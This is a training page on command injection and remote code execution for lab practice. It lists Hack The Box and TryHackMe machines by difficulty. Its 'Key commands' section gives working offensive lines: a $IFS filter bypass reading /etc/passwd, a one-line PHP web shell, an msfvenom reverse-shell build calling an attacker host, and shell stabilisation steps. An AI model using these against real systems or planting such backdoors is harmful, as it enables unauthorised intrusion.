Command Injection and RCE: practice machines and key commands
By Daniel Dayan ยท Updated
Command injection occurs when an application passes input to a system shell. Try separators such as ;, &&, |, backticks and $() after a legitimate value, and test blind cases with a sleep or an out-of-band request to your own listener. When spaces or specific characters are filtered, alternatives like ${IFS}, brace expansion and quoting tricks often bypass the check. Once you can run a command, prefer a short reverse shell or write a web shell, then stabilise the TTY before enumerating. Public remote code execution exploits for known CVEs follow the same pattern but usually need edits to the target address, payload or offsets, so read the code before running it. Identify the service version first, then match it to a trusted advisory. The machines here have a command execution foothold.
Key commands
Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.
Command Injection Space Filter Bypass ($IFS)
Bypass space character filtering in vulnerable web commands using bash internal field separator.
cat$IFS/etc/passwdMinimal PHP Single-Line Backdoor
Lightweight PHP command execution backdoor for quick web root persistence.
echo '<?php system($_GET["cmd"]); ?>' > shell.phpmsfvenom Linux x64 Staged Reverse TCP ELF
Compile standalone ELF reverse shell binary for x64 Linux target.
msfvenom -p linux/x64/shell_reverse_tcp LHOST={LHOST} LPORT={LPORT} -f elf -o shell.elfTTY Interactive Shell Stabilization (Python + stty)
Upgrade dumb reverse shell to fully interactive pseudo-terminal with tab completion and arrow keys.
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Press Ctrl+Z to background shell
stty raw -echo; fg
export TERM=xterm-256color
stty rows 38 columns 140
Keep going
- Methodology: Phase 05: Shell Stabilization & Context Triage
- Cheatsheet: Exploitation & Payloads
- Shells: Reverse shell one-liners
Command Injection and RCE machines (58)
18 of these are machines I solved myself and are listed first within each difficulty. 44 Linux, 14 Windows.
Listed when a machine has a catalog tag that is one of: exploiting shellshock, backdoor, xp cmdshell, command injection, cmd injection, rce, exploit modification, exploiting cve, webshell; or a tag that contains the word rce or contains the text shellshock. Capital letters, hyphens and underscores are ignored, and the tags that matched come first in each row. "Editor-mapped" marks machines assigned to this topic by hand because none of their tags match.
Command Injection and RCE at a glance
- By platform: 47 Hack The Box, 11 TryHackMe.
- On these practice lists: CWEE (8), OSCP (7), OSWE (3), CPTS (2), Unofficial IppSec CPTS (2), HTB Starting Point (2).
- Tags that most often appear alongside it: Buffer-Overflow (3), CVE-2017-7269 (2), CVE-2021-22204 (2), File Upload (2), Fuel CMS (2), MSSQL (2).
- Solved by me, with a page here: Archetype (Windows Very Easy), Pennyworth (Linux Very Easy), Agent T (Linux Easy), Bashed (Linux Easy), Beep (Linux Easy), Epoch (Linux Easy), Grandpa (Windows Easy), Granny (Windows Easy).
Very Easy (2)
| Machine | Platform | OS |
|---|---|---|
| Archetype | HTB | Windows |
| Pennyworth | HTB | Linux |
Easy (30)
| Machine | Platform | OS |
|---|---|---|
| Agent T | THM | Linux |
| Bashed IppSec | HTB | Linux |
| Beep IppSec | HTB | Linux |
| Epoch | THM | Linux |
| Grandpa IppSec | HTB | Windows |
| Granny IppSec | HTB | Windows |
| Knife IppSec | HTB | Linux |
| Lame | HTB | Linux |
| Legacy | HTB | Windows |
| Netmon IppSec | HTB | Windows |
| Optimum IppSec | HTB | Windows |
| Pickle Rick | THM | Linux |
| RootMe | THM | Linux |
| Shocker IppSec | HTB | Linux |
| TwoMillion IppSec | HTB | Linux |
| Vulnerability Capstone | THM | Linux |
| Arctic IppSec | HTB | Windows |
| Buff IppSec | HTB | Windows |
| Busqueda IppSec | HTB | Linux |
| Ignite | THM | Linux |
| Irked IppSec | HTB | Linux |
| Lookup | THM | Linux |
| Love IppSec | HTB | Windows |
| Networked IppSec | HTB | Linux |
| Photobomb IppSec | HTB | Linux |
| Precious IppSec | HTB | Linux |
| Res | THM | Linux |
| RouterSpace | HTB | Linux |
| ScriptKiddie IppSec | HTB | Linux |
| SwagShop IppSec | HTB | Linux |
Medium (11)
| Machine | Platform | OS |
|---|---|---|
| Bastard IppSec | HTB | Windows |
| Cronos IppSec | HTB | Linux |
| Devzat IppSec | HTB | Linux |
| Dynstr | HTB | Linux |
| Health IppSec | HTB | Linux |
| Meta IppSec | HTB | Linux |
| Pit IppSec | HTB | Linux |
| Relevant | THM | Windows |
| Tenten | HTB | Linux |
| TheNotebook IppSec | HTB | Linux |
| Unattended IppSec | HTB | Linux |
Hard (10)
| Machine | Platform | OS |
|---|---|---|
| Dropzone IppSec | HTB | Windows |
| EarlyAccess IppSec | HTB | Linux |
| Ellingson IppSec | HTB | Linux |
| Ghoul IppSec | HTB | Linux |
| Intense IppSec | HTB | Linux |
| Monitors IppSec | HTB | Linux |
| Overflow IppSec | HTB | Linux |
| Tally IppSec | HTB | Windows |
| Year of the Dog | THM | Linux |
| Year of the Fox | THM | Linux |
Insane (5)
| Machine | Platform | OS |
|---|---|---|
| Bankrobber IppSec | HTB | Windows |
| Brainfuck IppSec | HTB | Linux |
| Kryptos IppSec | HTB | Linux |
| Nightmare IppSec | HTB | Linux |
| Stacked IppSec | HTB | Linux |
Related techniques
Related guides: TJ Null OSCP list, OSCP exam scoring and time budget, OSCP vs CPTS, OSCP report template.
Practise it, then track it.
Log every box and the commands you used in ZeroBox.